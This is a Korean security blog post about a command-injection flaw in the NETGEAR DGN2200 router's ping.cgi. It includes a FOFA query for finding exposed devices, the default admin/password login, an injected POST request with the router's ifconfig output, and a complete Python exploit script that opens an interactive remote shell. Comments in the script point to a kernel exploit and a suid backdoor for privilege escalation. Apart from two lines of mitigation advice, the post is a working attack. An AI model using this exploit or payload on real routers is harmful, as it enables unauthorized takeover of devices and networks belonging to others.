1. 개념
NETGEAR는 미국 캘리포니아주 산호세에 본사를 둔 글로벌 컴퓨터 네트워킹 회사이다.
2. 취약점 설명
NETGEAR DGN2200은 NETGEAR의 무선 라우터 제품이고 펌웨어 10.0.0.50 이하를 사용하는 NETGEAR DGN2200의 ping.cgi에 취약점이 존재한다.
원격 공격자는 HTTP POST 요청의 ping_IPAddr 필드에 있는 쉘 메타 문자를 사용하여 임의의 OS의 명령을 실행할 수 있다.
FOFA: app="NETGEAR-DGN2200"
3. PoC(Proof of Concept)
1) 로그인
해당 무선 라우터로 접속하면 ID, Password를 입력하는 창이 출력된다.
Netgear DGN2200 라우터 관리 인터페이스에 대한 기본 암호는 admin/password이다.
로그인에 성공하면 라우터 관리 인터페이스가 출력되는 것을 확인할 수 있다.
2) 관리자 인터페이스에서 Ping 전송
① http://[Victim IP]:8080/dnslookup.cgi로 이동한다.
② Ping an IP address 항목에 임의의 IP를 입력한 후 Ping 버튼을 클릭한다.
③ 해당 Request Payload를 Burpsuite로 캡처한다.
해당 ping.cgi의 ping_IPAddr 매개변수에 RCE 취약점이 존재한다.
2.1) Payload
IPAddr1=192&IPAddr2=168&IPAddr3=10&IPAddr4=1&ping=Ping&ping_IPAddr=192.168.10.1 |
3. ping_IPAddr 매개변수를 이용하여 RCE 공격
ping_IPAddr 매개변수에 IP를 127.0.0.1로 변경한 후 ifconfig명령을 입력하면 인터페이스가 출력되는 것을 확인할 수 있다.
3.1) Payload
3.1.1) Request
POST /ping.cgi HTTP /1.1 Host:1.1.1.1:8080 Content-Length: 85 Cache-Control: max-age=0 Authorization: Basic YWRtaW46cGFzc3dvcmQ= Origin: http://1.1.1.1:8080 Upgrade-Insecure-Requests: 1 DNT: 1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.121 Safari/537.36 IPAddr1=192&IPAddr2=168&IPAddr3=10&IPAddr4=1&ping=Ping&ping_IPAddr=127.0.0.1;ifconfig |
3.1.2) Response
<tr> <td colspan="2" align="center" class="num"> <textarea name="ping_result" class="num" cols="60" rows="12" wrap="off" readonly> atm0 Link encap:Ethernet HWaddr E0:91:F5:60:C5:F5 UP RUNNING MULTICAST MTU:1500 Metric:1 RX packets:41119717 errors:0 dropped:398 overruns:0 frame:0 TX packets:20516737 errors:56157 dropped:4 overruns:0 carrier:0 collisions:0 txqueuelen:1000 RX bytes:2977315886 (2.7 GiB) TX bytes:132445875 (126.3 MiB) br0 Link encap:Ethernet HWaddr E0:91:F5:60:C5:F4 inet addr:192.168.0.1 Bcast:192.168.0.255 Mask:255.255.255.0 UP BROADCAST RUNNING MULTICAST MTU:1500 Metric:1 </textarea> </td> </tr> |
해당 라우터는 busybox를 사용하여 많은 명령어를 실행할 수 없고 라우터의 텔넷이 열리지 않는다.
4. 대응 방안
최신 펌웨어로 업데이트를 수행한다.
관리자 인터페이스의 ID, Password를 기본 값으로 설정하지 않는다.
5. Exploit Code
#!/usr/bin/python
#Provides access to default user account, privileges can be easily elevated by using either:
# - a kernel exploit (ex. memodipper was tested and it worked)
# - by executing /bin/bd (suid backdoor present on SOME but not all versions)
# - by manipulating the httpd config files to trick the root user into executing your code (separate advisory will be released soon along with the 2nd vuln)
#Pozdrawiam: Kornela, Komara i Sknerusa
import sys
import requests
#You can change these credentials to ex. Gearguy/Geardog or Guest/Guest which are hardcoded on SOME firmware versions
#These routers DO NOT support telnet/ssh access so you can use this exploit to access the shell if you want to
login = 'admin'
password = 'password'
def main():
if len(sys.argv) < 2 or len(sys.argv) == 3:
print "./netgearpwn.py <router ip>"
return
spawnShell()
def execute(cmd):
r = requests.post("http://" + sys.argv[1] + "/ping.cgi", data={'IPAddr1': 12, 'IPAddr2': 12, 'IPAddr3': 12, 'IPAddr4': 12, 'ping':"Ping", 'ping_IPAddr':"12.12.12.12; " + cmd}, auth=(login, password), headers={'referer': "http://192.168.0.1/DIAG_diag.htm"})
result = parseOutput(r.text)
return result
def spawnShell():
r = execute("echo pwn3d")
if any("pwn3d" in s for s in r) == False:
print "Something went wrong, is the system vulnerable? Are the credentials correct?"
return
while True:
cmd = raw_input("$ ")
r = execute(cmd)
for l in r:
print l.encode("utf-8")
def parseOutput(output):
yet = False
a = False
result = []
for line in output.splitlines():
if line.startswith("<textarea"):
yet = True
continue
if yet == True:
if line.startswith("</textarea>"):
break
result.append(line)
return result
if __name__ == "__main__":
main()
[참고]
'Hacking & Security > Vulnerability' 카테고리의 다른 글
Cisco ASA Read Only Path Traversal Vulnerability (CVE-2020-3452) (0) | 2020.10.04 |
---|---|
Netgear_WGR614v10 Authentication bypass Vulnerability (CVE-2017-5521) (0) | 2020.10.04 |
DrayTek Vigor RCE Vulnerability (CVE-2020-8515) (3) | 2020.10.03 |
Netlink GPON RCE Vulnerability (CVE-2018-10562) (4) | 2020.10.01 |
Comtrend VR-3033 Router RCE Vernerability (CVE-2020-10173) (0) | 2020.07.16 |
공부&일상 블로그
포스팅이 좋았다면 "좋아요❤️" 또는 "구독👍🏻" 해주세요! 질문은 언제나 환영입니다😊